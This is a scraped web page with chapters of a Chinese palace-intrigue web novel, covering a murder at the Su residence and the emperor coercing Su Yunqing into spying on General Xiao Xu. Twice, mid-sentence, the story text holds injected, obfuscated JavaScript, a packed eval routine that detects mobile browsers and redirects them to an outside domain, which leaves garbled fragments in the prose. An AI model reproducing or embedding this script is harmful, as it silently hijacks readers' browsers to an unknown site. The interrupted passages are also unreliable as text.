“算计她,必会与你对着干。”萧叙松手推开她,“苏云青,你还真是不怕死。数尺高架,你竟在大雪之夜说攀就攀,也不怕我来给你收尸。” 苏云青:“白日雪化,发现不了我留下的痕迹。我若死在大雪之中,有劳将军为我草席裹尸送入乱葬岗。” 萧叙半阖眼眸,推门而出。 风雪刮入昏暗的屋内,揉乱苏云青的青丝,挂上一层寒霜。 苏云青拎起外袍披在身上,快步跟上他的步伐。 不夜坊舞姬的客房处,灯火通明,四散的人来去匆匆。 死的人并非舞姬,而是那名琴师。他衣衫不整,胸口扎着一把短刀,大字仰躺在地,血迹从床边一路蔓延到门前,已冰冷半凝固。 下人与一些官家,探着头往里张望。 “这是怎么回事啊,怎么还出了人命。” 萧叙走入人群,蹲在琴师身边,拔出竖插在他胸口的短刀,扒开领口就见血迹之下,赫然可见一团淤青。 苏云青亦是瞧见了。 是萧叙踹出来的印子,那夜的刺客! 他回过眸来,沿着流淌的血迹放眼至门口,再缓缓上抬,对上苏云青的视线。 血迹流淌,没有脚印,只有一种可能,如苏云青摘灵球计划相同,雪融成水,与血合二为一,冲刷掉痕迹。 萧叙把刀丢在地上,走到门前,询问道:“苏大人何在?” 下人战战兢兢道:“苏、苏大人……因是在房中。” 下人急忙去敲苏济的房门,“大人!大人!出事了!” 柳晴柔点了盏灯,睡眼朦胧推开房门,看着外头围了一圈人,“怎么、怎么了?” 萧叙:“苏大人何在。” “咯吱——” 院子对面的房门打开,苏济衣衫不整,昏昏沉沉扶着门框现身。 不久,他身后出现那名绯衣撕碎挂身的舞姬。 “大人,发生什么了?” 柳晴柔僵直在门前,掌灯的手发抖。昨夜宴席上苏济说的话历历在目。 她目眦欲裂,近乎将一口牙咬碎。 “大人可知,府中出事了。” “什么事?” 苏济酒意未醒,浑身散发酒味,显然晚上回房又喝了不少。 苏云青静静旁观。 商泓:“苏大人这是走错房了?” 许明哲摇着他的扇子,也探过头来,“苏大人,宅子里都死人了,还陷在温柔乡里呢。” 冷风灌入脖颈,苏济略微清醒了些,看着一群围在门外的人,又猛地回头看向他方才的屋子,只见舞姬抱着双臂站在门口望着他。 “苏大人?苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15154473|164901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人?酒还没醒吗?” 苏老夫人潦草裹了件外衣,急急忙忙赶过来,“发生什么事了?” 远处的苏云青侧身,给她让出视线,让她一眼可见屋子里躺着一具尸体。 “苏瑶……” 苏云青露出一抹‘温和’的笑来,“祖母,云青本是到家那夜,计划给祖母请安,为祖母贺寿。” “可宅子里的下人说,祖母早前歇下了,我便未去打扰。” 萧叙幽幽看着她一派轻松的模样。 苏云青半屈膝,微笑着拜礼,继续道:“苏瑶给祖母请安,祝寿来迟了些,祝祖母笑口常开,长命百岁。” 周围一片鸦雀无声,寂静的只剩风袭长袍,急促而无章。 连商泓和许明哲这几个看戏的人,神情都不由抽搐,身子板僵硬住了。 现在是什么情况,她在这里贺寿。 萧叙简单验尸,得出结论。琴师夜里宿醉不省人事,被人一击致命,没有反抗与打斗的痕迹。 他对苏济道:“苏宅琴师生亡一案,还请苏大人回京去往刑部配合调查。” 苏济快步走到萧叙身边,“侯爷……我家大女嫁侯爷为妻,还望侯爷看着两家亲的份上,帮我说说好话。苏宅离奇死一个人,我何尝不冤啊。” 萧叙:“两家亲?没记错的话,大婚那日,我已明确交代,苏云青嫁入侯府,与苏府再无干系。不知,苏大人指的亲,是哪的亲?是将陛下赏赐末将夫人之物,送给旁人分刮。我的夫人只得了件嫁衣?” 苏济:“将军……” 许大人负手而出,“苏大人,陛下赐婚那日早朝,赵公公道得很明白,赐予苏云青。” 许明哲浅笑道:“苏大人,刑部明辨是非,一定会帮大人揪出凶手,请大人放心。” 苏济不死心,缠着萧叙不放。他一眼看到柳晴柔身上的料子,“我这就让他们将礼如数归还。” 萧叙嗤笑,“让我的夫人,用别人弄脏的东西?” 苏济顿了一下,“那……那……我……如何偿还。” 李淮滚动安车姗姗来迟,“苏大人似乎不提嫁妆之事。既要偿还,不然换成银两。” 苏济:“银两!” 柳晴柔同样一惊。 苏济绝不会自掏腰包填这个窟窿,苏家因他交来的俸禄折半而捉襟见肘,这么大的窟窿,要如何填补! 她瞪视对面的舞姬,舞姬身上的珠宝首饰是如此的刺眼。 李淮对带来的侍卫下令,“将苏大人与琴师一同,请去刑部。” 旁人叹息不已,“这真是受了诅咒啊。” “唉,害人害己,可怜了这个无辜的琴师。” “苏大人这回栽了个大跟头,现有官职能保住都不错了。” “等这套案子下来,吏部尚书那位置怕是早已换了人。” 苏老夫人上前去握苏云青的手,试图打动她,让她帮苏济说几句好话,“苏瑶啊……” 然而,苏云青先一步躲过她的手,转身踏雪离去,背影无比冷漠。 萧叙长腿一跨,跟在她背后。 苏老夫人见那两人说不通,只好转向其他大人道:“天色尚早,诸位大人,再歇息片刻,早膳……” “还歇什么歇,我是不敢歇了。” “我也有事先走了,多谢老夫人款待。” 本就是来巴结苏家的,如今苏家失势,琴师的案子闹得人心惶惶,生怕甩到自己身上,哪还敢多留半刻,一个个马不停蹄连夜往京中赶。 苏云青沉默着坐在染雪的窗榻边,方才倒了杯冷却的茶,还未入口,萧叙便跟了进来。 “将军不连夜回府吗?” 萧叙凝眸盯着她垂在身侧的胳膊,转身往暗处去,“苏小姐意愿达成了。” 苏云青低垂下眸,“是你杀了琴师?” 药箱摆在她的眼前。 他简短答道:“不是。” 苏云青滞住,瞧了药箱一眼,昂起头看向萧叙。 萧叙在她对面坐下,伸手关上窗,把风雪隔绝在外,“自己上药,天亮启程。” 他走到床边,垂下帘子,翻身上床睡觉。 苏云青打开药箱,里面的物品与将军府的一模一样。 苏宅无人知道她的肩伤,她本想着不过来短短三日,带药箱实在麻烦,也未想过会加重旧伤,倒都是场……未知的意外。 她瞧着垂下的帘子里没了动静,默默起身走到镜子前,一层层褪去衣裳,露出半边肩膀。 紫青的淤血已晕开蔓延,碰一下都是钻心的疼,瘀血不出,伤口难愈。 她握紧发簪,一簪刺进肩膀。乌血从伤口溢出,她的手止不住的颤抖,却是一声未出,划了道小口子,将淤血放出,再上药包扎。 15. 濯雪(5) 苏云青与萧叙同车回城,车内气氛无比怪异。 她如坐针毡,悄悄瞥了萧叙两眼,又慌忙收回视线。 昨晚,她有没有说错话,做错事。 她忍不住,试探性问道:“我……昨夜失态了,没有闹酒疯,得罪将军吧。” 萧叙侧目,睨她一眼,冷淡道:“苏小姐醒酒不是挺快,怎么就不记得了?” 苏云青靠在窗边,滚动的马车震起竹帘,凉风灌入她的后颈,她不由打了个冷颤,努力回想昨夜的碎片记忆,奈何难以组合完整,欲言又止,“记的不多……” “嗯。” “……” 嗯?就淡淡回个嗯? 苏云青什么都问不出来,只得闭嘴作罢。 车内再次陷入了沉默,仅剩两道浅薄的呼吸声,诡异的气氛一直持续到马车驱回府里,二人皆无言。 “呦,可算回来了。”贺三七守在府门前,见马车停下,立即迎上前,“如何,可有查出来什么?” 萧叙一如既往先行跃下车,不带片刻迟疑,脚步稳健,头也不回大步朝府中走去,丝毫没有等待苏云青,扶她下车的意思,直将她甩到后头。 苏云青从帘中出来的时候,他已经跨进了府里,她的裙子厚实繁杂,站在车沿看着有些高的马车,一时间犯了难,琢磨如何下去,才能不被绊倒,在侯府大门前丢人。 周叔见状,忙找来梯子扶她下车,“怎么夫人也先回来了。” 苏云青:“出了些事……” 贺三七跟在萧叙旁边,继续道:“今早北轩王和许明哲扛了具尸体去刑部,噢对,我还看见了苏济。” 萧叙:“苏宅死了人,是个琴师。” “那日巷子里的人?”贺三七停顿片刻,若有所思,“你这突然心血来潮去苏宅,岂不坏了人计划?急得他们连夜把人杀了。苏济的吏部尚书之位,我看是不保了。” “嗯。”萧叙止步,回头看向刚走进府里的苏云青,命令道:“你过来。” 舟车劳顿,苏云青准备回房歇息的步子,不得不调转方向,“不知,将军唤我何事?” 萧叙推开书房的门,指腹在入门口的架面抚过,留下一层浅灰,“收拾。” 苏云青默默把包裹交给周叔,从旁拿起帕子擦去灰尘。 萧叙与贺三七坐在茶案前,贺三七感慨道:“想弄死你的人,还真是多啊。” 萧叙:“不夜坊查到什么了?” 贺三七摇头叹息,“没有,只有那个琴师有问题。”他心声怨念,“我再去那地方,臭名都要传遍京城了。” 他的抱怨,把萧叙惹笑了。萧叙沉笑一声,“罢了。” 苏云青站在一众书架的角落边,恰巧属于他们的视野盲区。她偷瞄他们两眼,确保他们注意不到她后,小心翼翼从架子上抽出一卷卷轴,悄悄打开。卷轴上面记载着朝中各位大臣的官职,其中有几个名字被划去,是近五年里被革职的大臣。 乍一看,卷轴似乎再正常不过,不会引人怀疑,但她总感觉,是萧叙在分析朝中的势力分布。 她暗自揣测,因太过紧张和专注,未注意到架子上另一卷没放稳的卷轴,正缓缓往下滑。 “啪嗒——!” 卷轴落地,发出声响。 苏云青被吓了个激灵,慌忙蹲下身去捡。 几乎是下一刻,贺三七的身影就出现在了架廊外,“你在做什么?” 苏云青单手攥紧手里胡乱卷成团的卷轴,悄悄用袖子挡住可疑的部分,故作镇定道:“我不小心撞掉了。” 幸好,贺三七的目光没放在她的手上,而是放在她垂吊着的胳膊上。他摩挲下颚,得出分析结论。 “怎么感觉你胳膊更严重了。” 萧叙声音从茶案处传来,“那些册子染上了一股霉味,趁今日天气不错,拿出去晒晒。” 贺三七放眼往外瞧,虽然有点太阳,但也是个冬天啊,天气不错在哪里? 书不是越晒越湿? 他回头看萧叙,疑惑道:“你们去苏宅做什么了?上次误伤,她不是好得差不多了?” 苏云青趁他扭头的瞬间,快速把卷轴放回架子上。 萧叙:“苏小姐艺高人胆大,雪夜爬高架,取灵球。” “!!!”贺三七瞪大眼睛,不可思议甩过脑袋,注视苏云青,“灵球架?!几丈高的距离,你说爬就爬啊。” 苏云青越过他,溜到旁边书架,抱起那些沾灰的册子,到外头去晒。 她才走没多久,贺三七眸色一沉,踱步走到她方才所在的位置,打量一番,抬手准确无误抽走了她拿过的卷轴。 他走到萧叙面前,展开卷轴,挑起单眉,“苏大小姐,喜欢看这些朝中势力?” 脚步声从外头传来,贺三七霎时止言。 苏云青这时又回到书房,贺三七的背影挡住了茶案,她匆匆扫了眼,不知道他们在聊什么,又抱起架子上的一摞书,出了书房。 萧叙目光深不可测,展开卷轴铺在自己面前,指腹沾过茶案遗留的茶迹,划过苏济二字。 贺三七没个坐相,曲起一条腿踩在矮椅上,手里晃着茶杯,“原以为苏家上头是李家,李家上头是李澈。而今死了个琴师,看来,没那么简单。不过这次你不去苏宅,吏部的位置,定然是苏家的。” “未必。”萧叙合上卷轴,前言不搭后语,无厘头来了句,“苏云青把商泓打了。”· “什么?!”贺三七架曲膝上的胳膊一滑,差点把杯子摔了,“她在犯什么蠢?” 萧叙:“商泓先出言不逊。” 贺三七愣了下,“噢……” 峰回路转,转言道:“这个商泓犯什么蠢。” 就在这时,周叔突然冲进书房,“少主,少主!” 贺三七:“周叔,你这么火急火燎的做什么?” 萧叙淡然抬眸,“来了?” 周叔怔了下,随即点头道:“赵公公来了……” 看样子,少主是知道的,那他也不必说了。 贺三七忽然明白什么,挑眉道:“看样子,是要把苏大小姐拖去兴师问罪了。” 萧叙起身走到外头。赵公公正准备带苏云青离开,萧叙开口留人,“赵公公是要带末将夫人去何处?” 他径直走到苏云青身旁,自然圈过她的腰肢,往自己怀中微带。 一副恩爱有加,呵护备至的模样。 苏云青略感震惊,梗直身子不敢多动。她半侧的腰肢被他的大掌轻易禁锢在掌心。萧叙肩宽体高,两人这般站着,她只到他肩膀处,一股带有威胁意味的压迫感,无形之中牢牢掌控着她。 赵公公脸上堆起笑容,拜礼道:“见过侯爷。” 他端详一番,对他们亲密的举止倍感诧异,打趣道:“没想到,侯爷与夫人郎情妾意。圣上还担忧侯爷对此次赐婚心有哀怨,可莫要因这件事,坏了君臣间的关系。” 萧叙勾起薄唇,语气溺宠,“夫人贤良淑德,如此好的女子嫁入侯府,是侯府幸事。” 赵公公配合笑道:“说得是,苏宅里夫人为侯爷以一敌百的事迹,可是穿遍了京城。” 萧叙:“噢?不过才一夜,这事迹就长腿似得,传得到处跑了。” 赵公公挤眼笑了笑,“大臣们都很意外,侯爷这样的人,竟会与夫人如胶似漆。” 他顿了会儿,不好意思开口似的,语重心长道:“这商泓小公子,今儿一早就把状告到陛下跟前去了。陛下与商家的关系,侯爷也是知道的,沾亲带故。陛下从前在宫中不受宠爱,遭人排挤,都是商家夫人出手相助。这商家两人出事,留商小公子一个独苗,陛下不照顾些,肯定惹人非义,说什么非仁君之举。” 他叹了口气,“商小公子得了照顾,可谓在京里横行霸道,惹了不少是非。你看,这次竟还出言不逊,惹上了侯夫人。但……夫人那一巴掌打的 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苏云青点头配合,话里透着委屈,“是。将军平日太忙,陪伴我的时间太少了,哪像对新婚夫妇。” 赵公公低笑一声,似发现什么,“夫人这胳膊是怎么回事?” 萧叙脾气暴躁,传言他的刀下什么亡魂都有,莫说男女老少,就是条对他有威胁的狗,都难活下来。 苏云青撇嘴,清冷的面容挤出几分生硬的娇嗔,“那夜等夫君到三更,拖着他玩疯了些,一不小心在浴室里摔了胳膊,把将军心疼坏了,给我抹了几日的药才见好。” 赵公公:“原来如此,那侯爷是该日日陪着夫人,切勿一次疯过了头。回头老奴给陛下说说,还是不要让商公子耽搁了侯爷平日的时间。” 萧叙转头看回书房。贺三七坐在门槛上,脚边放了杯热茶,手里捧着瓜子,看得津津有味。周叔则是双手交叠身前,待在一旁面带微笑观看着。 “……” “周叔,你陪夫人一同入宫。夫人胳膊有伤,多留意些,莫让她再磕着了。” 周叔:“是。” 赵公公见萧叙不再坚持跟随,松了口,“周管事照顾着也好,侯爷能放心让我带夫人前去。” 萧叙松开苏云青,“夫人晚些时候想吃什么?” 还没演完?那继续吧…… 苏云青抬眸看他,“将军应该知道我喜欢吃什么。” 二人打得有来有回。 萧叙若有所思,“胡辣醋腰子,我知道了。” 苏云青:“……” 她肠胃不好吃不了辣菜,更不喜欢吃内脏,也就萧叙这种疯子喜欢。 赵公公笑道:“走吧夫人。” 萧叙丢给周叔一个眼神,周叔立马跟了上去。 马车中,赵公公突然开口,问道:“都说侯爷冷血无情,没想到你们二人竟是天生一对,陛下这个媒倒是做对了。” 话里话外带着探究之意。 苏云青心叹口气,万是没想到,赵公公仍变相试探。 她睁眼说瞎话,附和道:“将军威名在外,小女心悦将军多年,嫁入将军府是我梦寐以求之事。” “将军也并非如外人所言,凶狠残暴,他也有温柔心细的一面。”她无奈与疲倦的低头,在外看来成了低藏的羞涩。 赵公公闻言,笑道:“原来如此,真是难得。也难怪四处在苏大人急切嫁女,苏大小姐分明美若天仙,却被些不长眼的公子唤作丑女。” “如此看来是夫人故意为之,非将军不嫁,倒也讲得通了。” 苏云青赔着笑笑,继续演着,“旁人闲话,并不在意,只愿得将军一人心,此生不相离。” 赵公公此番前来,似乎得到了个不错的答案,心里有了交差的低。找个公子塞进侯府,确实没有得萧叙百般信任的侯府夫人,来得值当。 16. 濯雪(6)作话入v通知 周叔跟随他们入宫,却在圣上殿外被赵公公拦下。 赵公公将他们拦在殿外,自己先行入殿,与圣上单独交谈半刻,才开门请苏云青进去。 苏云青估摸着,赵公公多半已把将军府里的事向陛下禀告了。 周叔抬步欲跟上苏云青,赵公公抬臂拦他在殿外。 “周管事,还请在外等候。圣上只是与夫人谈些苏宅与赐婚的事,不必担心,不会难为她。” 苏云青独自走入殿内,顺手关上殿门。金碧辉煌的书殿中,只有皇上李澈一人。他坐在书案后,面前奏折堆积如山,显得格外忙碌。 苏云青上前行礼,“臣妇参加陛下。” 李澈连忙放下奏折,抬手阻止,“免礼免礼,听赵公公说,侯府夫人前些时候伤了胳膊,可有好转?” 苏云青:“一些小伤,不碍事,谢过陛下关心。” 李澈负手而立,缓步走到她身前,“苏宅之事,朕已知晓。商家地位特殊,今早商泓将罪状告来,不给他个交代不妥当,朕只好唤你前来了。” 苏云青垂头低眉不说话。 她心中知晓,李澈压根没有想对她兴师问罪。提及商家,不过是个让她入宫的幌子罢了。既然是个幌子,那么入宫就算是给商家交代了,后续罚惩,登门道歉,根本不重要。一切不过是她意料之中。 她推测,接下来,李澈该提苏家事了。从旁敲击,试探苏家的官职是否能威胁到她。而她只需冷漠以对,不言不语,他自会提及那桩意外死亡的命案。李澈自以为经过三次试探后,便能完全掌控她、威胁她,最后信任她,以达到后续将所有信息交到她的手中,让她监视侯府的目的。 上一世,她并不懂这些,更不懂如何掌控信息。未得任一一方的信任,才会不明不白死在外头。李澈安插在萧叙身边的眼线,可不只她一人。禁军营中还安插了不少公子,借锻炼之名混入其中。 今生,明翰堂出了意外,后续事情也发生了变动,连带着安插细作去禁军营的事也推迟到了现在。“恩爱两不疑”的戏码,比前世提早太多。因是能借此把那些公子拦在营外,独她一人成细作,掌握所有信息。 她不言不语,不做任何表示。如她所料,李澈神情出现细微变化,话锋一转,“吏部的事,搁置多日,早已堆积如山。苏宅闹出命案,不查个十天半月,揪不出凶手。” 他惋惜摇头道:“苏卿多年来尽职尽责,是个能得民心的好官。可惜,吏部的位置,苏家无缘,错过了。” 苏云青仍旧不语,似对苏家的事毫不关心。 李澈故作轻笑,感叹道:“就连那些原帮苏卿说话的大臣,此次回城都纷纷改了口,称苏家官风不正,家中事务纠葛不清,难当大任。” 苏云青顺势接过话头,“母亲早逝,苏家由新夫人掌控,臣妇已多月未曾见过父亲了。” 李澈瞧她开口说话,前两次试探已经铺垫足够,他不经意道:“听闻侯府夫人,近一年在明翰堂中修学,与李甚关系颇为密切。” 苏云青:“是……” 李澈:“你们在明翰堂水火不容的事,杜大人已向我禀明。” “不过,谈及李甚,他的死确实蹊跷。” “你为一静明室的民女,与他作对。而他又传言死于民女之手。那夜,究竟发生了什么?杜大人揭露明翰堂恶行,当夜带所有弟子连夜回京复命调查。” “偏偏清点中,少了两个人,苏大小姐和那民女,去了何处?” 李澈语气平缓,却透着压迫之势,“李甚的死,查了多日仍无结果,死得不明不白。怪了,只见凶器不见杀手。” 他步步紧逼,“苏大小姐,几时回的京?可曾瞧见,是何人杀了李甚,是那位经常受他欺辱的民女吗?” 李澈声音一沉,“你应当清楚,命案绝非小事,不是简单一笔勾销便能了结,是要付出代价的。狱禁、刑罚、还是赔命,全凭大理寺的结论。” “死的可不是旁人,是朝廷命官的独子。即便他再恶劣纨绔,也需查明真相才可给他定生死之罪。” 苏云青腹诽:何来查明?案子查与不查,不过是皇上一句话的事。 李澈继续道:“你与那民女情同手足,可知她家在何处?” 苏云青顺势哐当”往下一跪,做足了架势,一副被逼无奈,只能承认罪过,声音颤抖道:“是民女误杀了李家公子。杜大人查案至内堂,要将所有人带回京调查。” “民女实在害怕。父亲一心想我嫁入李家,苏家主母若知道我在明翰堂因一个民女与李甚作对,必定不会放过我。” “所以我带她一起趁乱逃了,离开后我们兵分两路,她并不知情后事。我躲进破庙中,未曾想李甚追了过来。那夜事发突然,我未遮面,他知事情暴露会遭陛下责罚,于是想着学堂中常惹他不快,不想让我好过,对我不怀好意动手动脚。他扑了上来,意图非礼,我一时害怕,抓起烛台砸了几下他的脑袋,可他仍不放过我,将我拖回庙中。我为了挣脱,一时失手杀了他。事后我因害怕……所以……所以我跑了。” “陛下是一代明君,我虽为官家之女,可自幼失母,父亲另娶,难道就不算民女了吗……” 她言辞恳切,说得头头是道,将事情经过描述的细致无疑,毫无破绽。 但,烛台入骨的力道,果断凶狠,一击毙命,绝非一个女子所能做到。 不过,李澈此刻也并不在意这些细节,他已经掐住了她的软肋。 苏云青演得一出好戏,泪眼婆娑,好不委屈,“陛下……我真心心悦将军,倾心将军多年,好不容易得偿所愿。求陛下网开一面,莫要将这些旧事传了出去。民女……民女愿意赎误杀李甚之罪,背负人命之责。” 李澈沉默良久,故作纠结地沉思,“君臣不可有二心,这大靖是我的天下,也是萧叙守来的天下。朕与他的情意,胜过朝中所有之人。难得朕这次为你们二人做媒,得你们两方欢喜,甚是欣慰。” “你与他两情相悦,日后也应情比金坚,相互信任才对。可是,朝中暗潮汹涌,他身边难免遇上心思不轨之人。朕信不过旁人,日后朕会派人暗中传信于你。你若发现萧叙身边有不对之事,需第一时间向朕传信。切记,误信旁人,只可将信交于朕的人。” 苏云青伏地叩首,道:“民女知晓,谨遵圣旨。” 这一世的威胁比上一世委婉得多。上一世,陛下知他与萧叙关系不睦,召她入殿,简单直白,以知道她母亲死亡为由,威逼利诱她成眼线,却并未全然信任她。 直到后来,她才得知,李澈威胁她时根本不知她母亲的死因,是后续派吏部尚书李甚父亲李尚书查出来的,也是那时她才知,苏家与李家,不过是同条链子上栓一块的两条狗罢了。 李澈见事已奏效,达到目的,圆话说道:“李家做出这等丧尽天良之事,也算是死得其所。罢了,此事朕不再追究。” 苏云青深知,何来不追究,不过表面说辞,尽显威胁之意,成为他的把柄。只要她稍有差池,未能如李澈所愿,这桩命案会再次搬到台面,再次审理。案子会扣在她或阿钥头上。 殿外,周叔正与赵公公悄声闲谈。 周叔:“苏家闹出命案,吏部之位,怕是与苏家无缘了,倒是可惜。不知陛下是何想法?” 赵公公:“夫人毕竟是苏家之人,吏部这样难得的机会,确实惋惜。至于吏部之位,最终花落谁家,眼下尚难定论。” 他从袖中掏出一张名册,仔细端详。 周叔探头瞥了两眼,叹息道:“这些官家虽各有所长,但都未有苏家合适。圣上难道不能等苏家结案后,再将官位赐予苏大人吗?苏大人肯定是冤枉的。” 赵公公摇着头把名册递到周叔眼前,“你瞧瞧,上头哪个官家不比苏家强。无论是世族背景,出身门第,官位资历,都比苏家更胜一筹。” “吏部落下的差事已堆积多日,再无人打理,恐生乱子。” “圣上原将位置留给苏家,是因赐了婚,苏家总要一个官差在身,才配得上侯爷的身份。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15154475|164901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周叔叹气,把名册还给赵公公,“苏大人如今还在刑部受审,我家夫人怕是又要为此费心伤神了。” 赵公公收好名册,安抚道:“待苏宅一案调查清楚,圣上自然不会亏待苏大人的,您且宽心。” “咯吱——” 殿门打开,苏云青缓步走出,“走吧周叔。” 周叔发现她眼角泛红,急忙上前关切,“哎哟,夫人这是怎么了?是为苏大人之事忧心?” 苏云青摇了摇头,不愿多说,“赵公公不必送了。” 赵公公微微躬身,“夫人慢走。” 待二人走远,赵公公才转身推门入殿。 李澈坐在案前,抬眼问:“说什么了?” 赵公公将名册呈上,“周管事借苏大人被关一事,提及了吏部位置,老奴顺便给他瞧了眼名册,他并未带走,把册子还了回来,似乎对上面之人并无兴趣,一心想为苏大人谋个官位。” “为苏济?”李澈低笑,讥讽道:“呵,将军府的老狐狸。” 赵公公:“那不知,陛下更看重哪位大人?” 李澈手握名册,无奈摇头,看着十几个名字,没一个满意,“这个六品韩大人算是其中最为出挑的了,可惜脑子有时转不过弯,稍不留神就被人套了话去……” …… 周叔与苏云青往宫外走,行至无人之地后,苏云青指腹抹过眼角的泪痕,神情切换迅速,从委曲求全,霎时变得冷淡漠然。 周叔:“夫人这是怎么了?” 苏云青摇摇头,“周叔在外与赵公公谈了何事?” 周叔没想隐瞒,“吏部之位。” 苏云青顺势胡说八道,“我也正是为此事发愁,苏家若无法脱困,我就只剩将军一个人了,再无依靠。” “苏大小姐!” 宫门外,一道清朗的声音传来。 苏云青循声望去,华丽的马车停靠在路边,车窗帘子掀开,北轩王李淮温润如玉的笑,映入眼帘。 苏云青好奇上前,微屈膝行礼,“殿下怎么在这?” 李淮:“府中管事传话,说圣上召你入宫。我一想,定是商泓的事,怕你受刁难,正想入宫帮你解释一番。没想到来晚了些,碰巧在这遇见了你。” “劳殿下费心了。”苏云青随意道了句,转身欲上自己的马车回府。 李淮又道:“苏小姐可是在为苏大人之事烦忧?不如上车,我们商讨一番。天色也不早,快到晚饭时分,春花阁上了几样新点心,你们姑娘家应该会喜欢。” 周叔提醒道:“夫人,该回府了。” 李淮紧接着说:“来得匆忙,未带驱车小厮,苏小姐可否帮忙?” 苏云青笑道:“殿下忘了,我伤了胳膊。” 李淮恍然,笑意不减,“那苏小姐上车吧,我来驱车。” 苏云青转头对周叔说:“周叔,你先回府复命吧,我晚点再回去。” 周叔犹豫,“夫人。” 苏云青坚持道:“我去刑部看望父亲。” 周叔只得妥协,“夫人当心胳膊的伤。” “嗯,放心。”苏云青说罢,向李淮的马车走去。 苏云青撩帘上车,北轩王的安车用机关固定在车箱,一个人难以完成,“殿下,怕不是说了谎,若真是无人驱车,我便先回去了。” 李淮低笑着,“罢了罢了。” 他对帘外喊了一声。 躲在人群里的驱车小厮立即走回马车边。 李淮示意她坐下,“苏小姐坐吧。” 周叔目送她上了马车,随即回府向萧叙复命。 萧叙半日都待于书房中,支开的窗碰巧可见长廊外晾晒的书册。 周叔从外走进来,“少主。” 萧叙抬眸,往他空荡的身后扫了一眼,“苏云青呢?” 周叔愣住,如实道:“夫人……出宫时遇见了北轩王,上了他的马车,说一同去看望苏大人。” 萧叙眼底幽深,“她上了北轩王的马车?”